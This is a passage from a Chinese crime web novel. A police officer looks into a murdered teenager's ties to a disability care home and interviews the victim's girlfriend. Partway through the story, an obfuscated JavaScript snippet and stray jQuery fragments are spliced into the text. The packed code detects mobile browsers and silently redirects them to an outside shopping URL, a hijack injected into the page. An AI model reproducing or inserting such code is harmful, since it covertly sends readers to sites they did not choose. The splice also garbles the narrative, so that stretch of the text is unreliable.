“我已经帮你更新了最新版本的NVDA(屏幕阅读器),你之前那个版本太老旧了,很多功能都跟不上,你先试试现在的操作会不会方便点?”
高以乔将新买的耳机戴到蓝以莉的头上,然后拉着她的手去找鼠标。蓝以莉点击几下鼠标,原本呆滞的眼睛微微弯起来。
“好像真的方便点。”她有点含蓄,“谢谢姐姐。”
“不用谢,你再熟悉一下,有什么卡顿的就告诉我。”
“好啊。”
高以乔坐在蓝以莉的床上,导盲犬雪糕趴在她的脚边,她有一下没一下地摸着小狗的头,眼睛不停打量着四周。
因为忙着大梨山的案子,萍姐和蓝以莉搬家到现在她还是第一次过来。蓝以莉的房间很简洁,只有一张床、一个衣柜和一个电脑桌,摆设几乎没有。
蓝以莉戴着耳机,高以乔听不到她世界里的声音,只能安安静静地坐在一边,刚想和蓝以莉说一声她出去客厅,就听到萍姐在门外叫她。
“阿乔,阿乔。”
高以乔和蓝以莉说了一声,出了房门就看到萍姐从厨房里探头出来,挥手叫她过去。
“怎么了,这么神秘兮兮的?”
萍姐对着她嘿嘿一笑,给她递去一碗汤。
“川贝炖鳄鱼肉汤,滋阴润肺的。你看你最近忙着工作,脸色差了这么多。快点喝,我煲了好久的。”
高以乔挑挑眉,接过汤碗,喝了一口,赞道:“料很足喔。不过你煲汤就煲汤,搞得这么神秘干什么?我去叫以莉出来喝汤。”
“诶诶诶,别叫,这是我专门煲给你喝的。”
萍姐拦住高以乔,边说边催促她喝:“你先管好你自己,天天这么熬夜身体怎么受得住?我特意多煲了一点,你待会拿过去给海儿喝,你们俩身体得好好补补了。”
高以乔一听就知道萍姐老毛病又犯了,“你煲那么多,我们怎么喝得完?而且以莉她……”
“我不用喝。”
蓝以莉的声音突然出现,萍姐吓了一跳,她和高以乔同时回过头去,发现蓝以莉就站在厨房门外。
气氛瞬间尴尬起来,高以乔责备地瞥了一眼萍姐,开口道:“以莉,萍姐刚刚就是在开玩笑。”
“我知道,我最近有点上火。”蓝以莉识趣地说,随后自己摸到冰箱前,打开冰箱拿出一瓶矿泉水。
“我只是有点口渴过来拿水喝的,你们继续聊。”
蓝以莉离开得很干脆,没有一丝一毫的停留。直到她的房门重新关上,萍姐才松了口气。
“吓死我了,她突然出现……你别这么看着我,我没有虐待她。”萍姐心虚地说:“我知道你想批评我什么,但是她最近确实上火嘛。”
“那你可以煲其它汤的嘛。”
萍姐撇撇嘴:“我今天一到菜市场就看中了这块鳄鱼肉,我一下就想到买来给你炖汤补身,我这么想你,你还凶我。”
高以乔闻言放下汤碗,搂着萍姐肩膀哄:“我哪里有凶你,我只是不想让以莉觉得被忽视了。”
“那我也没有忽视她的。你请我来照顾她,我也是很尽心的。”
“真的?”高以乔双眼一动不动地盯着她。
萍姐眼神闪烁了一下:“我不是你的犯人,Madam Co。是,我承认一开始我是不喜欢她妈连带着不喜欢她,想着一天三顿给她安排好就算了,反正她每天在房间戴着个耳机上网,我也没事干。
“但是后来我发现她会出去做义工,她都这个样子了还想着帮别人,我也不是铁石心肠的人,现在看她也觉得她挺可怜的。”
“义工?”
“嗯,就在这附近的那个……康儿残障福利院当义工,她每隔一天都过去,带带那里的小朋友玩游戏说故事。要不是我有次买菜的时候发现,我都不知道她这么有爱心。”
高以乔沉思了一下,见萍姐对蓝以莉赞不绝口,笑着碰碰她的肩膀:“那你现在知道也不迟啊。所以说,看人不能有预设立场。”
萍姐被高以乔说得恼羞,催着她赶紧喝完汤给范海儿送汤去。
“喝喝喝。”
“萍姐出品,属实精品。”
高以乔坐在沙发上看着范海儿倒汤,得意地说:“那还用说,你统统喝完啊,喝不完我去打小报告。”
范海儿回头瞪了高以乔一眼:“这里好说有三碗汤,你想撑死我?不过听你刚刚那么说,比起厨艺,萍姐的‘知错能改’似乎更进一步喔。”
“嗯。”高以乔说,“要不是她说,我也不知道以莉在残障福利院做义工。康儿残障福利院,这个名字好像还挺耳熟的。”
范海儿随手在电脑上查找,看着上面的资料,她说:“是去年开的福利院了,看上去规模不是很大,也没有记者采访过。”
高以乔凑过去看:“院长文南亭……前几年才萌生了开残障福利院的想法。看她衣着朴素,不像是很有财力的人。”
“要是有财力就不需要被王冠集团资助了。”
高以乔疑惑地看向范海儿,范海儿则是打开第三条新闻,放大给高以乔看,上面写着“文院长公开感谢望天集团资助”几个大字。
时间是去年年初。
“一年半前,看来王冠确实很想投身政圈。”范海儿讥讽道。
高以乔倒是不在意地躺回沙发上,漫不经心:“你又不是不知道Uncle的野心,他一向是一个目标性很强的人。”
“也是,否则就不会在你爸爸刚出事那会就和你划清界限,生怕你沾到他们家一点好处了。”
范海儿极尽嘲讽地开口,说完了才反应过来,一回头就看到高以乔冷下去的脸色。她低声说了声“对不起”,后者也只是揉了揉她的肩膀。
“傻瓜,你又没说错什么。”
范海儿见高以乔真的没有明显不快,才转身回去喝汤。
两个人沉默了片刻,高以乔问:“倒是你。你哥的死祭快到了,你还是没打算回去看看吗?”
“没有。”范海儿答得干脆:“我不知道怎么面对他们。”
“Hailey?”
范海儿叹了口气:“我哥那个案子你又不是不知道,两夫妻闹到最后,一个死在家里,另一个死在监狱……”她耸耸肩,没说下去。
“不说了,你那个案子怎么样?涉及未成年人,应该很棘手。”
“嗯,刚刚确定了受害者的身份。对于相关的控诉我们也一一查了,暂时没有发现有特别可疑的人。”
范海儿反问:“你不是说今晚有条新线索?”
“我们找到受害者生前的女朋友,本来要上门询问的,但是她说她妈妈不在家,明天早上8点她们再去警署录口供。”
“女朋友?”
——
“嗯,我是周子康的女朋友。”
早上8点整,顾妍带着她妈妈来到警署。
说是她带着妈妈来,是因为她一个人抬头挺胸走在前面,手微微往后拉着她妈妈的手腕。顾妍穿了一件比昨晚颜色要亮一点的衣服,梳着长马尾,神情冷漠,步履很快。
她的妈妈跟在身后,眉头微微皱起,疲倦的双眼打量着警署的人物。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17737862|207405||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
直到坐下来,她妈妈还是不安地握着顾妍的手。
“这是我妈妈,顾晓彤。我们是单亲家庭,我的监护人到了,你们有什么就问吧。”
“Madam……我能不能先问一下我女儿发生了什么事?”
“没什么,就是有一桩大梨山抛尸案的受害者是你女儿的同学,我们请她过来配合调查而已。不用担心。”
顾晓彤瞬间慌张,她两只手死死抱住顾妍:“我女儿不可能杀人的,我女儿是品学兼优,我们是穷了点,但是她不会……”
“我没杀人,他们让我配合调查,我属于知情者。”顾妍脸上虽然没什么表情,但还是安抚性地拍了拍顾晓彤抱着她的手。
她问:“周子康真的死了?”
高以乔点头:“我们检验过DNA,受害者确实是周子康。我想问一下,你和周子康是什么关系?”
“不是同学吗?”顾晓彤茫然道。
“我是他名义上的女朋友。”
“名义上?”高以乔问。
顾妍直白地说:“周子康是一个很要面子的人,他虽然家里有钱,又经常拉帮结派,但其实很多人都看不上他,觉得他脑子有病。成绩不好,长相也不好,整天对着别人呼呼喝喝,神憎鬼厌。”
“那你怎么还会做他的女朋友?”
顾妍停了一下,她看了看自己的妈妈,冷淡地说:“我们家穷,能上这所学校还是因为我妈和校长有交情。我们家是我们学校最穷的,周子康想找一个女朋友充场面,有面子,但是家世好一点的女孩子有拒绝他的底气,我没有。”
高以乔抿嘴,反倒是顾晓彤喊道:“那他有没有对你做什么?”
“没有。”顾妍说:“他一般是打架或者出去玩的时候会叫上我,但我妈一天要打几份工,她不在家所以不知道。”
“你们平时来往算密切吧?”
“算。”
高以乔问:“那你知道他平时都和谁来往,或者有特别交恶的人吗?”
顾妍笑了一下:“很多,认识他的人其实都不爽他。”
“例如说,周家益?”
“你是想问我周家益和他打架的事情吗?Madam,是周家益告诉你我和周子康的关系吧?”
高以乔不置可否:“这个不方便透露。”
“我知道是他。”顾妍笃定地说:“他们那群人里就周家益最胆小。他只告诉你我的存在吗?”
“什么意思?”
“周家益没有说他为什么和周子康打架吧?”
“你知道?”
顾妍点了点头。
“他们打架是因为我。”
“因为你?”高以乔盯着顾妍。
“因为周子康觉得我喜欢康儿残障福利院里的一个傻子,所以他天天叫人去欺负那个傻子。他不光找人欺负,还要我去欺负,我不愿意他就骂我。
“周家益也不想欺负那个傻子,所以周子康打我的时候他帮我还手。但是周子康身边的人太多,周家益根本没打到他就被他按着来打。”
“后来呢?”
“后来周子康就不见了。”
高以乔觉得刚刚那个福利院的名字有点熟悉,她问了一遍:“你刚刚说那个福利院的名字叫做……”
“康儿残障福利院,里面的人都是残疾人。”
“那你说的那个傻子?”
顾妍用手戳了戳自己的太阳穴,“他是真的傻子,他脑子有问题,不会说话,也听不见。”
“叫什么名字?”
“阮乐闻。”